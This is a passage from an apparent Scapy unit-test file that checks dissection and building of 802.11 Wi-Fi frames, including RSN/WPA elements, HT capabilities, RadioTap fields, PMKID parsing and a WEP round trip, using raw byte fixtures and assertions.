\\x04\\xdd\\x07\\x00\\xa0\\xc6\\x02\\x02\\x03\\x00\\xdd\\x17\\xec\\x17/RRRRRRRRRRRRRRRRRRRRR\\x9e[\\xf2\")\nassert Dot11EltRSN in pkt\npkt[Dot11Beacon].network_stats()\nassert pkt[Dot11Beacon].network_stats() == {\n    'ssid': 'ROUTE-821E295',\n    'rates': [6.0],\n    'channel': 1,\n    'country': 'IL',\n    'country_desc_type': None,\n    'crypto': {'WPA2/PSK'}\n}\nassert [x.ID for x in pkt[Dot11Elt].iterpayloads()] == [0, 1, 3, 5, 7, 59, 42, 48, 45, 61, 221, 127, 221, 221]\nassert pkt.pmkids.nb_pmkids == 0\nassert pkt.group_management_cipher_suite.oui == 0xfac\nassert pkt.group_management_cipher_suite.cipher == 0x6\n\n= Dot11EltMicrosoftWPA\nassert bytes(Dot11EltMicrosoftWPA()) == b'\\xdd\\x16\\x00P\\xf2\\x01\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x01'\nms_wpa_ie = Dot11EltMicrosoftWPA(b'\\xdd\\x1a\\x00P\\xf2\\x01\\x01\\x00\\x00P\\xf2\\x02\\x02\\x00\\x00P\\xf2\\x04\\x00P\\xf2\\x02\\x01\\x00\\x00P\\xf2\\x01')\nassert ms_wpa_ie[Dot11EltMicrosoftWPA].type == 0x01\nassert ms_wpa_ie[Dot11EltMicrosoftWPA].version == 0x01\nassert ms_wpa_ie[Dot11EltMicrosoftWPA].group_cipher_suite.cipher == 0x02\nassert ms_wpa_ie[Dot11EltMicrosoftWPA].nb_pairwise_cipher_suites == 0x02\nassert ms_wpa_ie[Dot11EltMicrosoftWPA].pairwise_cipher_suites[0].cipher == 0x04\nassert ms_wpa_ie[Dot11EltMicrosoftWPA].pairwise_cipher_suites[1].cipher == 0x02\nassert ms_wpa_ie[Dot11EltMicrosoftWPA].nb_akm_suites == 0x01\nassert ms_wpa_ie[Dot11EltMicrosoftWPA].akm_suites[0].suite == 0x01\nassert Dot11Elt in ms_wpa_ie\n\n= Dot11EltVendorSpecific\nassert bytes(Dot11EltVendorSpecific()) == b'\\xdd\\x03\\x00\\x00\\x00'\nvendor_specific_ie = Dot11EltVendorSpecific(b'\\xdd\\t\\x00\\x03\\x7f\\x01\\x01\\x00\\x00\\xff\\x7f')\nassert vendor_specific_ie.oui == 0x00037f\nassert Dot11Elt in vendor_specific_ie\n\n= Beacon with RSN IE\nf = Dot11(b\"\\x80\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xffLN5V\\xee\\x03LN5V\\xee\\x03\\xf0\\x8f\\x80\\x01\\xdc7\\x00\\x00\\x00\\x00\\x90\\x011\\x04\\x00\\x0cciscosb-wpa2\\x01\\x08\\x82\\x84\\x8b\\x96\\x0c\\x12\\x18$\\x03\\x01\\x06\\x05\\x04\\x00\\x01\\x00\\x00*\\x01\\x000\\x14\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x01\\x01\\x002\\x040H`l\\xdd\\x18\\x00P\\xf2\\x02\\x01\\x01\\x84\\x00\\x03\\xa4\\x00\\x00'\\xa4\\x00\\x00BC^\\x00b2/\\x00\\xdd\\x1e\\x00\\x90L3L\\x10\\x1b\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00-\\x1aL\\x10\\x1b\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdd\\x1a\\x00\\x90L4\\x06\\x08\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00=\\x16\\x06\\x08\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00J\\x0e\\x14\\x00\\n\\x00,\\x01\\xc8\\x00\\x14\\x00\\x05\\x00\\x19\\x00\\x7f\\x01\\x01\\xdd\\t\\x00\\x03\\x7f\\x01\\x01\\x00\\x00\\xff\\x7f\\xdd\\n\\x00\\x03\\x7f\\x04\\x01\\x00\\x06\\x00@\\x00\")\nassert Dot11EltRSN in f\nassert f[Dot11EltRSN].len == 20\nassert f[Dot11EltRSN].group_cipher_suite[0].cipher == 0x04\nassert f[Dot11EltRSN].pairwise_cipher_suites[0].cipher == 0x04\nassert f[Dot11EltRSN].akm_suites[0].suite == 0x01\n\n= Other Beacon with RSN IE\nf = Dot11(b'\\x00\\x00<\\x00h}\\xb4_\\x1a\\x0eJe}\\xf2@\\xb2h}\\xb4_\\x1a\\x0e\\xb0\\xe8\\x11\\x11\\x14\\x00\\x00\\x08wpa3-sae\\x01\\x07\\x12\\x98$\\xb0H`l!\\x02\\xf9\\x15$\\n$\\x044\\x04d\\x0b\\x95\\x04\\xa5\\x010&\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\t\\xcc\\x00\\x01\\x00\\xed!\\xd6\\xf6\\xc2\\x12C\\xce\\xbd\\x94\\xb6\\xc3\\xb1\\xea%^F\\x051\\x08\\x01\\x00\\x006\\x03\\xac4\\x00-\\x1ao\\x00\\x1b\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7f\\x08\\x00\\x00\\x08\\x00\\x00\\x00\\x00@\\xbf\\x0c2p\\x81\\x0f\\xfa\\xff\\x00\\x00\\xfa\\xff\\x00\\x00\\xc7\\x01\\x11\\xff\\x1c#\\x01\\x08\\x08\\x00\\x00\\x80D0\\x02\\x00\\x1d\\x00\\x9f\\x08\\x00\\x0c\\x00\\xfa\\xff\\xfa\\xff9\\x1c\\xc7q\\x1c\\x07\\xdd\\x0b\\x00\\x17\\xf2\\n\\x00\\x01\\x04\\x00\\x00\\x00\\x00\\xdd\\x05\\x00\\x90L\\x04\\x07\\xdd\\n\\x00\\x10\\x18\\x02\\x00\\x00\\x10\\x00\\x00\\x02\\xdd\\x07\\x00P\\xf2\\x02\\x00\\x01\\x00\\x90\\xe7\\xf5\\x12')\nassert Dot11EltRSN in f\nassert f.group_management_cipher_suite is None\nassert len(list(f.iterpayloads())) == 19\nassert Dot11EltHTCapabilities in f\nassert f.mfp_capable and f.mfp_required\nassert f.pmkids.nb_pmkids == 1\nassert f.pmkids.pmkid_list == [b'\\xed!\\xd6\\xf6\\xc2\\x12C\\xce\\xbd\\x94\\xb6\\xc3\\xb1\\xea%^']\n\n= Beacon with Microsoft WPA IE\nf = Dot11(b\"\\x80\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xffNN5V\\xee\\x03NN5V\\xee\\x030\\x8f\\x80\\x01\\xdc7\\x00\\x00\\x00\\x00\\x90\\x011\\x04\\x00\\x0bciscosb-wpa\\x01\\x08\\x82\\x84\\x8b\\x96\\x0c\\x12\\x18$\\x03\\x01\\x06\\x05\\x04\\x00\\x01\\x00\\x00*\\x01\\x00\\xdd\\x16\\x00P\\xf2\\x01\\x01\\x00\\x00P\\xf2\\x04\\x01\\x00\\x00P\\xf2\\x04\\x01\\x00\\x00P\\xf2\\x012\\x040H`l\\xdd\\x18\\x00P\\xf2\\x02\\x01\\x01\\x85\\x00\\x03\\xa4\\x00\\x00'\\xa4\\x00\\x00BC^\\x00b2/\\x00\\xdd\\x1e\\x00\\x90L3L\\x10\\x1b\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00-\\x1aL\\x10\\x1b\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdd\\x1a\\x00\\x90L4\\x06\\x08\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00=\\x16\\x06\\x08\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00J\\x0e\\x14\\x00\\n\\x00,\\x01\\xc8\\x00\\x14\\x00\\x05\\x00\\x19\\x00\\x7f\\x01\\x01\\xdd\\t\\x00\\x03\\x7f\\x01\\x01\\x00\\x00\\xff\\x7f\\xdd\\n\\x00\\x03\\x7f\\x04\\x01\\x00\\x06\\x00@\\x00\")\nassert Dot11EltMicrosoftWPA in f\nassert f[Dot11EltMicrosoftWPA].type == 0x01\nassert f[Dot11EltMicrosoftWPA].version == 0x01\nassert f[Dot11EltMicrosoftWPA].group_cipher_suite.cipher == 0x04\nassert f[Dot11EltMicrosoftWPA].nb_pairwise_cipher_suites == 0x01\nassert f[Dot11EltMicrosoftWPA].pairwise_cipher_suites[0].cipher == 0x04\nassert f[Dot11EltMicrosoftWPA].nb_akm_suites == 0x01\nassert f[Dot11EltMicrosoftWPA].akm_suites[0].suite == 0x01\n\n= HT Capabilities\nf = RadioTap(b\"\\x00\\x00&\\x00/@\\x00\\xa0 \\x08\\x00\\xa0 \\x08\\x00\\x00\\x9dt\\xc3\\xf1\\x18\\x00\\x00\\x00\\x10\\x02l\\t\\xa0\\x00\\xd9\\x00\\x00\\x00\\xd3\\x00\\xd7\\x01@\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xff\\xff\\xff\\xff\\xff\\xffP'\\x00\\x00\\x01\\x04\\x02\\x04\\x0b\\x162\\x08\\x0c\\x12\\x18$0H`l\\x03\\x01\\x01-\\x1a-@\\x17\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7f\\x08\\x00\\x00\\x08\\x04\\x00\\x00\\x00@Y\\xb7T\\x13\")\nassert Dot11EltHTCapabilities in f\nassert f.L_SIG_TXOP_Protection == 0\nassert f.Forty_Mhz_Intolerant == 1\nassert f.PSMP == 0\nassert f.DSSS_CCK == 0\nassert f.Max_A_MSDU == 0\nassert f.Delayed_BlockAck == 0\nassert f.Rx_STBC == 0\nassert f.Tx_STBC == 0\nassert f.Short_GI_40Mhz == 0\nassert f.Short_GI_20Mhz == 1\nassert f.Green_Field == 0\nassert f.SM_Power_Save == 3\nassert f.Supported_Channel_Width == 0\nassert f.LDPC_Coding_Capability == 1\nassert f.res1 == 0\nassert f.Min_MPDCU_Start_Spacing == 5\nassert f.Max_A_MPDU_Length_Exponent == 3\nassert f.TX_Unequal_Modulation == 0\nassert f.TX_Max_Spatial_Streams == 0\nassert f.TX_RX_MCS_Set_Not_Equal == 0\nassert f.TX_MCS_Set_Defined == 0\nassert f.RX_Highest_Supported_Data_Rate == 0\nassert f.RX_MSC_Bitmask == 255\nassert f.RD_Responder == 0\nassert f.HTC_HT_Support == 0\nassert f.MCS_Feedback == 0\nassert f.PCO_Transition_Time == 0\nassert f.PCO == 0\nassert f.Channel_Estimation_Capability == 0\nassert f.CSI_max_n_Rows_Beamformer_Supported == 0\nassert f.Compressed_Steering_n_Beamformer_Antennas_Supported == 0\nassert f.Noncompressed_Steering_n_Beamformer_Antennas_Supported == 0\nassert f.CSI_n_Beamformer_Antennas_Supported == 0\nassert f.Minimal_Grouping == 0\nassert f.Explicit_Compressed_Beamforming_Feedback == 0\nassert f.Explicit_Noncompressed_Beamforming_Feedback == 0\nassert f.Explicit_Transmit_Beamforming_CSI_Feedback == 0\nassert f.Explicit_Compressed_Steering == 0\nassert f.Explicit_Noncompressed_Steering == 0\nassert f.Explicit_CSI_Transmit_Beamforming == 0\nassert f.Calibration == 0\nassert f.Implicit_Trasmit_Beamforming == 0\nassert f.Transmit_NDP == 0\nassert f.Receive_NDP == 0\nassert f.Transmit_Staggered_Sounding == 0\nassert f.Receive_Staggered_Sounding == 0\nassert f.Implicit_Transmit_Beamforming_Receiving == 0\nassert f.ASEL == 0\n\n= HT Capabilities with fuzzed values\n# Those were checked with Wireshark !\nf = RadioTap(b'\\x00\\x00\\t\\x00\\x02\\x00\\x00\\x00\\x10@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00-\\x1a\\xecH\\xbf\\x85!\\x02\\xd0m\\x91\\xa8\\xd9\\xf0\\xa9\\xb8\\x15\\xae\\x00\\x00\\x00,Y\\x86\\xb3H\\xa7?Z\\xd2\\xa8\\xc2')\nassert Dot11EltHTCapabilities in f\nassert f.L_SIG_TXOP_Protection == 0\nassert f.Forty_Mhz_Intolerant == 1\nassert f.PSMP == 0\nassert f.DSSS_CCK == 0\nassert f.Max_A_MSDU == 1\nassert f.Delayed_BlockAck == 0\nassert f.Rx_STBC == 0\nassert f.Tx_STBC == 1\nassert f.Short_GI_40Mhz == 1\nassert f.Short_GI_20Mhz == 1\nassert f.Green_Field == 0\nassert f.SM_Power_Save == 3\nassert f.Supported_Channel_Width == 0\nassert f.LDPC_Coding_Capability == 0\nassert f.res1 == 5\nassert f.Min_MPDCU_Start_Spacing == 7\nassert f.Max_A_MPDU_Length_Exponent == 3\nassert f.TX_Unequal_Modulation == 0\nassert f.TX_Max_Spatial_Streams == 3\nassert f.TX_RX_MCS_Set_Not_Equal == 1\nassert f.TX_MCS_Set_Defined == 0\nassert f.RX_Highest_Supported_Data_Rate == 440\nassert f.RX_MSC_Bitmask == 46944200869120244326789\nassert f.RD_Responder == 1\nassert f.HTC_HT_Support == 0\nassert f.MCS_Feedback == 1\nassert f.PCO_Transition_Time == 2\nassert f.PCO == 0\nassert f.Channel_Estimation_Capability == 0\nassert f.CSI_max_n_Rows_Beamformer_Supported == 3\nassert f.Compressed_Steering_n_Beamformer_Antennas_Supported == 2\nassert f.Noncompressed_Steering_n_Beamformer_Antennas_Supported == 2\nassert f.CSI_n_Beamformer_Antennas_Supported == 1\nassert f.Minimal_Grouping == 0\nassert f.Explicit_Compressed_Beamforming_Feedback == 1\nassert f.Explicit_Noncompressed_Beamforming_Feedback == 1\nassert f.Explicit_Transmit_Beamforming_CSI_Feedback == 2\nassert f.Explicit_Compressed_Steering == 0\nassert f.Explicit_Noncompressed_Steering == 1\nassert f.Explicit_CSI_Transmit_Beamforming == 1\nassert f.Calibration == 2\nassert f.Implicit_Trasmit_Beamforming == 0\nassert f.Transmit_NDP == 0\nassert f.Receive_NDP == 0\nassert f.Transmit_Staggered_Sounding == 1\nassert f.Receive_Staggered_Sounding == 1\nassert f.Implicit_Transmit_Beamforming_Receiving == 0\nassert f.ASEL.res\nassert f.ASEL.Transmit_Sounding_PPDUs\nassert f.ASEL.Receive_ASEL\nassert f.ASEL.Antenna_Indices_Feedback\nassert f.ASEL.Explicit_CSI_Feedback\nassert f.ASEL.Explicit_CSI_Feedback_Based_Transmit_ASEL\nassert not f.ASEL.Antenna_Selection\nassert f.ASEL == 63\n\n= RadioTap - MCS weird padding\nf = RadioTap(b'\\x00\\x00,\\x00K\\x08\\x1c\\x00\"b\\x96\\x03\\x00\\x00\\x00\\x00\\x10\\x00l\\t\\x80\\x04\\xb0\\x00\\x80\\x04\\x01\\x00l\\t\\x01\\x00\\x1f\\x08\\x0c\\x00\\x94\\x05\\x00\\x00\\x04\\x00\\x00\\x00\\x88\\x020\\x00.\\xdf\\xc4J\\xb0\\xdc\\xa0c\\x91sf\\xech\\x05\\xca?\\xf4h@Y\\x00\\x00\\xaa\\xaa\\x03\\x00\\x00\\x00\\x08\\x00E\\x00\\x05\\xdc \\xcf@\\x00\\x80\\x06P\\xf0\\xc0\\xa8\\x01\\n\\xc0\\xa8\\x01\\x02\\xdb\\x8f\\x13\\x89\\xfbv\\xa3\\xde\\xf6\\xd8L\\xe8P\\x10\\xff\\xfft\\xdd\\x00\\x0023456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901O\\xdc\\x01x')\nassert f.knownMCS == 31\nassert f.Ness_LSB == 0\nassert f.STBC_streams == 0\nassert f.FEC_type == 0\nassert f.HT_format == 1\nassert f.guard_interval == 0\nassert f.MCS_bandwidth == 0\nassert f.MCS_index == 0xc\nassert f.A_MPDU_ref == 1428\n\n= RadioTap MCS\n\nf = RadioTap(b\"\\x00\\x00)\\x00+@\\x08\\xa0 \\x08\\x00\\xa0 \\x08\\x00\\x00\\xff\\xc3$N\\x00\\x00\\x00\\x00\\x10\\x00d\\x14@\\x01\\xc8\\x00\\x00\\x00'\\x00\\n\\xc8\\x00\\xbd\\x01\\x88\\x02\\x00\\x00\\x01\\x00^\\x02\\x00\\n\\x04\\xf0!K}\\xb7\\x00\\r\\xb9L\\xfd\\xd4 4$\\x00\\xaa\\xaa\\x03\\x00\\x00\\x00\\x08\\x00E\\x00\\x05\\x94\\x80\\xc7@\\x00\\x05\\x11\\x0c\\xb4\\xac\\x10T\\xc1\\xe2\\x02\\x00\\n\\xdeU\\x13\\x89\\x05\\x80,m\\x00\\x00\\x07?`G\\xc7 \\x00\\x07\\x02u\\x00\\x00\\x00\\x00H\\x01\\x00\\x98\\x00\\x00\\x00\\x01\\x00\\x00\\x13\\x89\\x00\\x00\\x05x\\x00\\x00\\x00\\x00\\xff\")\nassert f.knownMCS == 0x27\nassert f.MCS_index == 10\n\n= RadioTap ts, HE, HE-MU, LSIG\n\nf = RadioTap(b'\\x00\\x00^\\x00*@\\xd0\\xa9 \\x08\\x00\\xa0 \\x08\\x00\\xc0\\x01\\x00\\x00\\x00\\x10\\x00|\\x15@\\x01\\xd4\\x00\\x00\\x00\\x00\\x00x\\x10\\x01\\x00\\x00\\x00\\x00\\x00\\xa7\\x14\\xd0\\xf9\\x00\\x00\\x00\\x00\\x16\\x00\\x11\\x03\\xf6\\xc7\\x7f@\"+\\x00\\x00\\x98Q\\x01\\x00\\xd0\\xd3W\\x04\\xc8\\xc8\\xc8\\xc8rrrr\\x02\\x00`\\x0b\\xd4\\x00\\xd3\\x01\\xf6T%\\x01\\x02\\x00\\x14\\x00\\x00\\x00\\x88B\\x82\\x00\\xd8\\xf8\\x835\\xd3\\x06\\xf0/t|\\xa3\\xb4\\xf0/t|\\xa3\\xb4\\x00\\n\\xc0\\x00\\xac\\x10\\x00 \\x01\\x00\\x00\\x00\\xe8^\\x98\\xc3\\x08<\\xce\\x85\\xf4\\xc0\\xe0/\\xb0[\\xaf\\xb11\\x90\\x11\\xb5\\xa8\\xa3\\x02\\x99-\\xa0\\xcf\\x7fE%\\x8a\\xa8~[\\xbe\\xe8\\xfc\\xe5:\\xbdBJ\\xf3\\x8a5\\xb3\\xed\\x88\\xde\\xdcF\\x02\\xed\\xddc\\x0bLN\\x02\\xcdR\\x06\\x9b\\x9d)\\xc2\\xdc\\xf1\\xcd\\xe3Pv\\xcauP\\x1a\\xaf_\\x0c\\x12<\\x8f\\x999*\\x1c\\xf7x\\xe4>G\"\\x8d\\x91\\xd6\\xeb\\xe5\\xf9\\xc3Y\\xedf\\xffg\\xf8*\\xda\\xe9aYb\\x92\\x8b\\x93\\xde\\'\\xe7_N$\\xd2;\\xe3\\xadj\\xd6\\xeb\\xf1p|[\\xfe\\xc9m\\xc2\\xe1\\xde\\xd2\\xff\\x9e\\xdb_\\x8d9\\x80\\xec\\xd2\\x113\\x0fWB\\x86\\xfec\\xd5\\xb9\\x9b\\x07\\xb0\\xa6\\x06\\xa5\\x07iQ\\x80\\xa5\\x8f\\x13I\\x98\\xcb\\xb2\\x13\\x92\\xb3\\x00\\xac<\\xdf\\x95|\\x0b\\x8b{\\x1d\\x0f4@\\x12\\xb1r\\xbez\\x81\\xc2dQ\\x13,nN\\xa5\\xf1\\xcd$\\xba\\x97\\xb6^\\x0c\\x141\\xad\\xde`\\x0e\\x04u\\xb6b1\\xd2\\xb6\\xb3\\xcf\\x01\\xf4jn\\x07A\\x84\\xab\\xc1!p\\xef\\xdf\\xe9IP\\x9dm\\xc6[\\x01<D\\xc7sy\\x8db\\xd8\\x8af\\xb3}\\xc1\\xe9%\\xac\\xfd\"\\xee\\x1b\\x8d\\xc6\\x7f{GK\\x9ec\\x9d\\xbf\\xee@\\xa1\\xe6\\xeaZ\\x0c:\\x9c&\\xab\\xd2\\x85\\xf8\\xf8\"\\x88Y\\xeeK\\xd3\\x01\\x14\\xdf\\xd7\\x84\\xcb\\nmi\\xa1\\xd6\\x94\\x86\\\\\\x1b\\xb2\\xaf\\xcb\\xd8r%\\xe7\\xaf\\\\\\r\"\\x9f\\xde\\xe6I\\xf1\\xa6\\x15\\x99\\xcci\\x85f^\\x18\\xf8\\x03+\\xdbU:\\xdb\\x13d\\xeb\\x17\\xa5\\xcbBC\\x0c\\xc5$\\xa8 44\\xe8\\x12\\x1bwZ>\\xb84X\\xe6F%\\xf7wW+\\x80\\xb1\\xc3\\x99b\\x15\\x03\\x86p\\x94m\\xd8D\\xf5\\xef\\x176\\xd0\\xbdb\\x12\\x93\\x02)\\xac\\xed\\xfe\\x8d\\xbd\\xcbyI\\xaa\\xa1\\xae\\x95H\\x0eh\\xcd\\xfd\\xe0\\xe6\\xf2U\\x03\\xf6E\\x1d\\xce\\x82\\xf6\\x8e4\\x12\\x8e+\\xc8\\xadJ8\\r\\x10/\\xca3\\xd2\\x88|\\xd2\\xce\\x7f\\x15k\\x81R\\x88U\\xc4\\xdeT\\x1d\\xcf\\'\\xf0\\'\\xb2\\xb6\\xb3\\x84\\x02\\xc9L\\xee\\xf6E\\x04\\xaeF\\xb1#\\xeb\\x17\\xd0\\n\\x00\\x1aH2<\\xe0\\xb3[\\x8d\\t\\xd6\\x89[0&P\\x17/\\x191\\x050\\xe4\\xc0\\n_?\\xde\\x92\\xbdC\\xa6\\xb1\\xc2n\\x12\\x9f\\xb5b\\x10\\xcc\\xc3\\xfa\\xce\\xd7\\xe0\\xf2\\xaa\\x84\\xa2\\xe9\\xa8\\x81S&\\xf9\\r;\\xcc\\x81\\xa3\\x84v\\xff\\n\\xb9?\\xbe!]\\xb4E]\\xac\\xbfQ\\x1d)2\\xee9\\x84\\xddjq\\xb1q\\x87ef\\xca\\x87\\xfe\\xf6\\xcd\\xbck#\\xad\\x03\\xe9>\\x91]\\xf3@\\x02\\xb4\\x8b\\xfe\\x84z\\x88\\x83\\xf3\\xb18N\\xf7x\\xde\\xd6|\\xb2p\\n\\xe4$h\\xd5\\x10\\x15&\\xd6O\\xdf\\xb3y\\'\\x80[a\\xf6f2\\x84\\xe4\\xa9\\xe3a\\xd0h\\x93%\\xa5\\xd1\\x9fX\\x94P\\x8b\\xbc\\xf9J\"k\\xd0\\xaf-\\xa2\\xbf\\x1a\\xf65\\xa8[y\\xba\\x0b\\xaa\\x05J9\\x93VVM+\\x13+;y\\xbdJ!@\\xab\\r\\x93\\x93\\x8c\\xd6\\xbb\\xc2\\'\\xa0_N\\'6\\x05\\x96\"\\xef\\xd7\\xbd4S\\x99\\xfaf\\x05\\xf2\\xb7\\xb9\\xe4\\x02\\xd4\\x1f?\\x0e\\xe7')\n\nassert f.timestamp == 4191163559\nassert f.ts_accuracy == 22\nassert f.ts_unit == 1\nassert f.ts_position == 1\nassert f.ts_flags.Accuracy and \"32-bit_counter\" in f.ts_flags\nassert f.he_data1 == 51190\nassert f.he_data2 == 16511\nassert f.he_data3 == 11042\nassert f.he_data4 == 0\nassert f.he_data5 == 20888\nassert f.he_data6 == 1\nassert f.hemu_flags1 == 54224\nassert f.hemu_flags2 == 1111\nassert f.RU_channel1 == [200, 200, 200, 200]\nassert f.RU_channel2 == [114, 114, 114, 114]\nassert f.lsig_data1.length\nassert f.lsig_length == 182\nassert f.lsig_rate == 0\nassert f == eval(f.command())\n\n= Reassociation request\nf = Dot11(b' \\x00:\\x01@\\xe3\\xd6\\x7f*\\x00\\x00\\x10\\x18\\xa9l.@\\xe3\\xd6\\x7f*\\x00 \\t1\\x04\\n\\x00@\\xe3\\xd6\\x7f*\\x00\\x00\\x064.2.12\\x01\\x08\\x82\\x84\\x0b\\x16$0Hl!\\x02\\x08\\x1a$\\x02\\x01\\x0b0&\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x01\\x00\\x00\\x01\\x00LD\\xfe\\xf2l\\xdcV\\xce\\x0b7\\xab\\xc62\\x02O\\x112\\x04\\x0c\\x12\\x18`\\x7f\\x08\\x01\\x00\\x00\\x00\\x00\\x00\\x00@\\xdd\\t\\x00\\x10\\x18\\x02\\x00\\x00\\x10\\x00\\x00')\nassert Dot11EltRSN in f\nassert f[Dot11EltRSN].pmkids.nb_pmkids == 1\nassert len(f[Dot11EltRSN].pmkids.pmkid_list) == 1\nassert f[Dot11EltRSN].pmkids.pmkid_list[0] == b'LD\\xfe\\xf2l\\xdcV\\xce\\x0b7\\xab\\xc62\\x02O\\x11'\n\n= Backward compatibility of Dot11Elt\n\n# Old naming scheme\nassert Dot11Elt(ID=\"DSset\").sprintf(\"%ID%\") == 'DSSS Set'\nassert Dot11Elt(ID=\"RSNinfo\").sprintf(\"%ID%\") == 'RSN'\n\n= Dot11FCS parent matching\n\npkt = Ether()/IP()/Dot11FCS()\nassert pkt[Dot11]\n\n= Dot11FCS - test FCS with FCSField\n\ndata = b'\\x00\\x00 \\x00\\xae@\\x00\\xa0 \\x08\\x00\\xa0 \\x08\\x00\\x00\\x10\\x02\\x85\\t\\xa0\\x00\\xe2\\x00d\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xa0@:\\x01\\x00\\xc0\\xca\\xa4}PLfA\\xac\\xe4\\xb3\\x00\\xc0\\xca\\xa4}P\\x00\\x03\\x00 \\x08 \\x00\\x00\\x00\\x00\\x0f)\\x1d\\xd4\\xd49\\x1f>4\\xeb'\npkt = RadioTap(data)\nw_payload = hex_bytes('00002000ae4000a0200800a02008000010028509a000e2006400000000000001a0403a0100c0caa47d504c6641ace4b300c0caa47d50000300200820000000000f291dd4d4391f3e34eb')\nassert raw(pkt) == w_payload\n\n= Dot11FCS computation\n\npkt = RadioTap() / Dot11FCS() / Dot11Beacon()\nassert raw(pkt) == b'\\x00\\x00\\t\\x00\\x02\\x00\\x00\\x00\\x10\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00d\\x00\\x00\\x00e\\xd9=\\xb9'\n\n= WEP tests\n~ wifi crypto Dot11 LLC SNAP IP TCP\nconf.wepkey = \"\"\nbck_conf_crypto_valid = conf.crypto_valid\np = Dot11WEP(b'\\x00\\x00\\x00\\x00\\xe3OjYLw\\xc3x_%\\xd0\\xcf\\xdeu-\\xc3pH#\\x1eK\\xae\\xf5\\xde\\xe7\\xb8\\x1d,\\xa1\\xfe\\xe83\\xca\\xe1\\xfe\\xbd\\xfe\\xec\\x00)T`\\xde.\\x93Td\\x95C\\x0f\\x07\\xdd')\nassert isinstance(p, Dot11WEP)\nconf.crypto_valid = bck_conf_crypto_valid\n\nconf.wepkey = \"Fobar\"\nr = raw(Dot11WEP()/LLC()/SNAP()/IP(src=\"127.0.0.1\", dst=\"127.0.0.1\")/TCP(seq=12345678))\nr\nassert r == b'\\x00\\x00\\x00\\x00\\xe3OjYLw\\xc3x_%\\xd0\\xcf\\xdeu-\\xc3pH#\\x1eK\\xae\\xf5\\xde\\xe7\\xb8\\x1d,\\xa1\\xfe\\xe83\\xca\\xe1\\xfe\\xbd\\xfe\\xec\\x00)T`\\xde.\\x93Td\\x95C\\x0f\\x07\\xdd'\np = Dot11WEP(r)\np\nassert TCP in p and p[TCP].seq == 12345678\n\n= RadioTap - dissection & build\ndata = 